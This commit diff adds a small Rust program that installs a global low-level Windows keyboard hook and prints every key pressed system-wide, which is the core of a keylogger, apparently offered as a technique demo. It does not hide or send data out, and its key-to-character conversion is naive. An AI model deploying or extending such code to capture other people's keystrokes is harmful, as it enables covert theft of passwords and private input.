Added keyboard hooking

keyboard_hooking/Cargo.toml

@@ -0,0 +1,14 @@
+[package]
+name = "keyboard_hooking"
+version = "0.1.0"
+authors = ["Idov31 <github.com/idov31>"]
+edition = "2021"
+
+[[bin]]
+name = "keyboard_hooking"
+path = "src/main.rs"
+
+[dependencies]
+windows = {version = "0.43.0", features = [
+    "Win32_Foundation",
+    "Win32_UI_WindowsAndMessaging"]}

keyboard_hooking/src/main.rs

@@ -0,0 +1,53 @@
+use std::ptr::null_mut;
+
+use windows::Win32::{
+    UI::{
+        WindowsAndMessaging::{
+            SetWindowsHookExW,
+            UnhookWindowsHookEx,
+            GetMessageW, 
+            CallNextHookEx, 
+            HHOOK, 
+            KBDLLHOOKSTRUCT,
+            WM_KEYDOWN,
+            WH_KEYBOARD_LL
+        }
+    },
+    Foundation::{
+        LRESULT,
+        LPARAM,
+        WPARAM,
+        HINSTANCE,
+        HWND
+    }
+};
+
+static mut HOOK_ID: HHOOK = HHOOK(0);
+
+fn main() {
+    unsafe {
+        match SetWindowsHookExW(WH_KEYBOARD_LL, Some(hook_keyboard), HINSTANCE(0), 0) {
+            Ok(hook_id) => {
+                HOOK_ID = hook_id;
+
+                while GetMessageW(null_mut(), HWND(0), 0, 0).as_bool() {
+                    // Do some stuff here.
+                }
+                UnhookWindowsHookEx(hook_id);
+            }
+            Err(err) => {
+                eprintln!("Failed to SetWindowsHookEx: {}", err);
+            }
+        }
+    }
+}
+
+unsafe extern "system" fn hook_keyboard(code: i32, wparam: WPARAM, lparam: LPARAM) -> LRESULT {
+    if wparam.0 as u32 == WM_KEYDOWN {
+        let info: *mut KBDLLHOOKSTRUCT = std::mem::transmute(lparam);
+        let char_written = char::from_u32((*info).vkCode).unwrap();
+        
+        println!("Character written: {}", char_written);
+    }
+    return CallNextHookEx(HOOK_ID, code, wparam, lparam);
+}